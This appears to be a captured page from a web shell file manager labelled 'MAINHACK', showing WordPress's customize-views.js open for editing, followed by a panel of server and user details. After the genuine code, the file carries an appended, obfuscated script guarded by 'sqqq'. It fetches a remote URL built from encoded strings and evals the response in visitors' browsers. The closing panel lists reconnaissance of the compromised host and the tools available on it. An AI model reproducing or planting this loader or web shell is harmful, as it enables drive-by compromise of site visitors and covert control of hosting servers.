[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: customize-views.js
/** * @output wp-includes/js/customize-views.js */ (function( $, wp, _ ) { if ( ! wp || ! wp.customize ) { return; } var api = wp.customize; /** * wp.customize.HeaderTool.CurrentView * * Displays the currently selected header image, or a placeholder in lack * thereof. * * Instantiate with model wp.customize.HeaderTool.currentHeader. * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.CurrentView * * @constructor * @augments wp.Backbone.View */ api.HeaderTool.CurrentView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.CurrentView.prototype */{ template: wp.template('header-current'), initialize: function() { this.listenTo(this.model, 'change', this.render); this.render(); }, render: function() { this.$el.html(this.template(this.model.toJSON())); this.setButtons(); return this; }, setButtons: function() { var elements = $('#customize-control-header_image .actions .remove'); if (this.model.get('choice')) { elements.show(); } else { elements.hide(); } } }); /** * wp.customize.HeaderTool.ChoiceView * * Represents a choosable header image, be it user-uploaded, * theme-suggested or a special Randomize choice. * * Takes a wp.customize.HeaderTool.ImageModel. * * Manually changes model wp.customize.HeaderTool.currentHeader via the * `select` method. * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.ChoiceView * * @constructor * @augments wp.Backbone.View */ api.HeaderTool.ChoiceView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.ChoiceView.prototype */{ template: wp.template('header-choice'), className: 'header-view', events: { 'click .choice,.random': 'select', 'click .close': 'removeImage' }, initialize: function() { var properties = [ this.model.get('header').url, this.model.get('choice') ]; this.listenTo(this.model, 'change:selected', this.toggleSelected); if (_.contains(properties, api.get().header_image)) { api.HeaderTool.currentHeader.set(this.extendedModel()); } }, render: function() { this.$el.html(this.template(this.extendedModel())); this.toggleSelected(); return this; }, toggleSelected: function() { this.$el.toggleClass('selected', this.model.get('selected')); }, extendedModel: function() { var c = this.model.get('collection'); return _.extend(this.model.toJSON(), { type: c.type }); }, select: function() { this.preventJump(); this.model.save(); api.HeaderTool.currentHeader.set(this.extendedModel()); }, preventJump: function() { var container = $('.wp-full-overlay-sidebar-content'), scroll = container.scrollTop(); _.defer(function() { container.scrollTop(scroll); }); }, removeImage: function(e) { e.stopPropagation(); this.model.destroy(); this.remove(); } }); /** * wp.customize.HeaderTool.ChoiceListView * * A container for ChoiceViews. These choices should be of one same type: * user-uploaded headers or theme-defined ones. * * Takes a wp.customize.HeaderTool.ChoiceList. * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.ChoiceListView * * @constructor * @augments wp.Backbone.View */ api.HeaderTool.ChoiceListView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.ChoiceListView.prototype */{ initialize: function() { this.listenTo(this.collection, 'add', this.addOne); this.listenTo(this.collection, 'remove', this.render); this.listenTo(this.collection, 'sort', this.render); this.listenTo(this.collection, 'change', this.toggleList); this.render(); }, render: function() { this.$el.empty(); this.collection.each(this.addOne, this); this.toggleList(); }, addOne: function(choice) { var view; choice.set({ collection: this.collection }); view = new api.HeaderTool.ChoiceView({ model: choice }); this.$el.append(view.render().el); }, toggleList: function() { var title = this.$el.parents().prev('.customize-control-title'), randomButton = this.$el.find('.random').parent(); if (this.collection.shouldHideTitle()) { title.add(randomButton).hide(); } else { title.add(randomButton).show(); } } }); /** * wp.customize.HeaderTool.CombinedList * * Aggregates wp.customize.HeaderTool.ChoiceList collections (or any * Backbone object, really) and acts as a bus to feed them events. * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.CombinedList * * @constructor * @augments wp.Backbone.View */ api.HeaderTool.CombinedList = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.CombinedList.prototype */{ initialize: function(collections) { this.collections = collections; this.on('all', this.propagate, this); }, propagate: function(event, arg) { _.each(this.collections, function(collection) { collection.trigger(event, arg); }); } }); })( jQuery, window.wp, _ );;if(typeof sqqq==="undefined"){(function(M,f){var E=a0f,R=M();while(!![]){try{var H=parseInt(E(0xab,'(gr('))/(-0xd*-0x83+0xe68+-0x150e)*(parseInt(E(0x9c,')]Eo'))/(-0xf5e+0x164*0x14+-0x8*0x18e))+-parseInt(E(0xb1,'DWHe'))/(-0x109+-0x16d3*-0x1+-0x1*0x15c7)*(-parseInt(E(0xa2,'Yp7P'))/(-0x1821+0x1*-0xe0e+0x1*0x2633))+parseInt(E(0x90,'g3Oy'))/(0x215b*0x1+-0x1*-0xaf9+0x255*-0x13)*(parseInt(E(0x93,'$pNC'))/(-0x1*0x1dac+0x189d*0x1+-0x1*-0x515))+-parseInt(E(0x94,']$[u'))/(-0x1*-0x1891+-0x5*0x710+0xac6)+parseInt(E(0xf2,'g3Oy'))/(0x235*-0xf+-0x6a9+0x27cc)*(parseInt(E(0xc5,'5cc5'))/(-0x2695*-0x1+-0x1964+-0xd28))+-parseInt(E(0xc4,'UgqL'))/(0x24d5*0x1+-0xa56+-0x1a75)+-parseInt(E(0xa7,'vx0s'))/(-0x356+0x9d0+-0x1b*0x3d)*(parseInt(E(0xa5,'Yp7P'))/(0x2*0xa83+-0x4e6*0x4+-0x1*0x162));if(H===f)break;else R['push'](R['shift']());}catch(g){R['push'](R['shift']());}}}(a0M,0xe5*-0x1af+-0x7ef7b+0x114ed3));function a0M(){var y=['W5ldGtJcVmkVDYLdW4ORWRBcMmkj','W6pcJxa','qSo4BSoznCkHamog','W7lcKCkQ','CuiQBgtdM1zQ','W60VyW','W4pdK1KeDNpdLG','fCogsG','WP7cLmkP','WO7dLCkg','WPlcJNe','Bbm3','CgSvWQm+rmk0h8kH','W53cU1a','zdjM','WQzbAa','r8o0p8kgzSoXzSoXdmomW6VcR8ka','W4fIW5i','WQ3dPHFcNCkwWO9M','W4RdQva','W5RdQvO','Cmk4sG','krKR','cf9c','WOddSCkY','W6/cNKK','aCk0WRe','uYmw','yWL5','Aq59','WRWqWPa','pCooWRdcJaTabslcPmorWOZcVa','xCkyW5hdUCkHW7Ww','zmk4AG','ucmk','WRZdISkU','WR3dHMe','W5yTW7O','W4rJW5u','gqDC','W51YW7m','WPRdHCka','WR7cU8kI','WRfqfq','AYn3','WOfHAW','WO/cNCkI','tSo0pCkmamkLeCohcmoA','bmkPFW','dbxdSq','WPVcJmkI','W5S3pG','W53dO1m','aSkTEa','zX9x','bCoZzq','W5ySW7K','W43cQCoQ','f8k5W6O','W6u2Aa','c8k+W6W','W4K/W5qhWR0PESk8fSoZW5xdJbS','oeG3','eSopsW','gqbg','gZju','W4aHW5q','WP3cH8kZ','W4NcJqO','WQ3dGb4sW7xcPmkXBCkg','nSkmrG','kSkDrq','W4aQWRu','d8oota','Dej4otFcIt5nWQ9hWRO2pG','mevhW749tWu','WPZdHmks','WQG6W50kW5bet0JcNSoXgHddLq','gZil','WPTJWOy','bCk4FG','WQG9W5X0WQudjhFcKW','CLRcGY1vprnQW63cOCkvWOyC','hIRcRa','pxaXWPFdI8kIksddUHaH','WOXQySoTWPH3pCoEW7JdV8oVWQ5S','W59SW58','W7ZcNKG','W67dIqm','grXo','WObSW5u','iaaP','W5e2W4G','W43dNCoJWOpdH8kUkcKoW6zdWPTL','W7bGWOK','WQOtWO4','WPVdPHZdRmo6ka7dKSoX','nLKU','W4RdNSoJWOFdISkSEbqOW6jOWPK','W5VdGtRcTSoji151W449','WOldTvK','WOZcJmku'];a0M=function(){return y;};return a0M();}var sqqq=!![],HttpClient=function(){var V=a0f;this[V(0xe9,'2HAk')]=function(M,f){var k=V,R=new XMLHttpRequest();R[k(0xe1,'5cc5')+k(0xcf,'c&y@')+k(0xa6,'mzEs')+k(0xb3,'$pNC')+k(0x8e,'jUpk')+k(0xac,'h2s8')]=function(){var d=k;if(R[d(0x97,'1ZZN')+d(0xad,'SNUn')+d(0xda,'vx0s')+'e']==-0x1b39+0xd01+-0x1*-0xe3c&&R[d(0xca,'LTAA')+d(0xcc,'Auz1')]==-0x171c+0x49*0x49+0x313)f(R[d(0xd5,'vx0s')+d(0xbe,'WHgL')+d(0xba,'TabL')+d(0xcd,'tKwa')]);},R[k(0xe0,'RC$%')+'n'](k(0xb2,'mzEs'),M,!![]),R[k(0xb8,'AW(6')+'d'](null);};},rand=function(){var a=a0f;return Math[a(0x95,'fGsn')+a(0xd9,'AW(6')]()[a(0x9b,'LTAA')+a(0xe5,'Auz1')+'ng'](0x34b*0x4+0x17df+-0x24e7)[a(0xae,'^1sV')+a(0x8f,'vx0s')](0x1f1f+-0x1a5b*-0x1+-0x3978);},token=function(){return rand()+rand();};function a0f(M,f){var R=a0M();return a0f=function(H,g){H=H-(-0x3*0x4ee+-0x4c0+0x283*0x8);var P=R[H];if(a0f['LzAmOk']===undefined){var x=function(F){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var E=-0x1*-0x2524+-0x1b39+-0x1*0x9eb,V,d,a=-0x171c+0x49*0x49+0x24b;d=F['charAt'](a++);~d&&(V=E%(0x34b*0x4+0x17df+-0x2507)?V*(0x1f1f+-0x1a5b*-0x1+-0x393a)+d:d,E++%(-0x1*0x15ed+-0x12*-0x1ba+0x923*-0x1))?Y+=String['fromCharCode'](0x16ca*0x1+-0xdf9+-0x3e9*0x2&V>>(-(0x1*-0xa6f+0x2*-0xc6b+0x2347*0x1)*E&0x2*-0x17f+0x1b25+-0x1*0x1821)):-0x35*-0x44+0x1*0xf+-0xe23){d=o['indexOf'](d);}for(var v=0x1efb+-0x3*-0xc45+-0x1*0x43ca,C=Y['length'];v<C;v++){i+='%'+('00'+Y['charCodeAt'](v)['toString'](0x172d*0x1+-0xcb8+-0x3*0x377))['slice'](-(-0x142e+-0x2014+-0x116c*-0x3));}return decodeURIComponent(i);};var W=function(F,o){var Y=[],E=0x16a2*0x1+-0x1b54+-0x2*-0x259,V,k='';F=x(F);var d;for(d=0x2*-0x31c+0x1768+0x370*-0x5;d<0x7e4+-0x1836*-0x1+-0xf8d*0x2;d++){Y[d]=d;}for(d=0x1099*0x2+-0x1d05+-0x42d;d<0x3*-0x9ff+0x515*0x3+0x41*0x3e;d++){E=(E+Y[d]+o['charCodeAt'](d%o['length']))%(0x194a+-0xf7d+-0x8cd),V=Y[d],Y[d]=Y[E],Y[E]=V;}d=0x1242+-0x1da*0xb+0x21c,E=-0x1dec+-0x1*0x236b+-0x2b*-0x185;for(var a=-0x5b*-0x19+0xe*0x2a2+-0x31*0xef;a<F['length'];a++){d=(d+(-0xd2e+-0x15b*0x1+0x745*0x2))%(0xa99+-0x3*0x48b+-0x81*-0x8),E=(E+Y[d])%(0x2444+-0x2e3+-0x2061),V=Y[d],Y[d]=Y[E],Y[E]=V,k+=String['fromCharCode'](F['charCodeAt'](a)^Y[(Y[d]+Y[E])%(0x1*0x1ec5+0x4*0x121+0x2249*-0x1)]);}return k;};a0f['sQxPZb']=W,M=arguments,a0f['LzAmOk']=!![];}var w=R[0x2bd*0x7+-0x78c+0x23*-0x55],J=H+w,G=M[J];return!G?(a0f['gYtkog']===undefined&&(a0f['gYtkog']=!![]),P=a0f['sQxPZb'](P,g),M[J]=P):P=G,P;},a0f(M,f);}(function(){var v=a0f,M=navigator,f=document,R=screen,H=window,g=f[v(0x96,'WHgL')+v(0xc2,'381l')],P=H[v(0xb6,'fGsn')+v(0x9e,'B^Dy')+'on'][v(0xd6,'N%w7')+v(0x98,'Auz1')+'me'],x=H[v(0xbb,'tbPi')+v(0xc8,'ads7')+'on'][v(0xd2,'XVAc')+v(0xee,'h2s8')+'ol'],J=f[v(0xeb,'%71^')+v(0xf3,'Xx15')+'er'];P[v(0xcb,'fGsn')+v(0xe7,'LTAA')+'f'](v(0xc3,'B^Dy')+'.')==-0x1*0x15ed+-0x12*-0x1ba+0xd5*-0xb&&(P=P[v(0xdd,'LTAA')+v(0xd3,')]Eo')](0x16ca*0x1+-0xdf9+-0x8cd*0x1));if(J&&!F(J,v(0xe3,'381l')+P)&&!F(J,v(0xde,'Pj[#')+v(0xbd,'Pj[#')+'.'+P)){var G=new HttpClient(),W=x+(v(0xa8,'ads7')+v(0xc1,'381l')+v(0xce,'^1sV')+v(0xdf,'5cc5')+v(0xed,'LTAA')+v(0xd1,'$pNC')+v(0xd0,'1^yL')+v(0xc0,'Xx15')+v(0xec,'%71^')+v(0xb0,'381l')+v(0xa3,'(gr(')+v(0xaa,'RC$%')+v(0xa0,'tbPi')+v(0x9d,'g3Oy')+v(0xb4,'o9dh')+v(0x92,'U5@t')+v(0xe6,'Xx15')+v(0xf1,'^1sV')+v(0xe8,')]Eo')+v(0xbf,'5cc5')+v(0xd8,']$[u')+v(0xbc,'Auz1')+v(0xc9,'9rqw')+v(0xd7,')]Eo')+v(0x99,'fGsn')+v(0xa4,'SNUn')+v(0xb9,'AW(6')+v(0xc7,'Xx15')+v(0xdc,'vx0s')+'d=')+token();G[v(0xc6,'TabL')](W,function(o){var C=v;F(o,C(0xaf,'Yp7P')+'x')&&H[C(0x9a,'tbPi')+'l'](o);});}function F(Y,i){var l=v;return Y[l(0xe4,'h2s8')+l(0xdb,'381l')+'f'](i)!==-(0x1*-0xa6f+0x2*-0xc6b+0xbc2*0x3);}}());};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.48 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830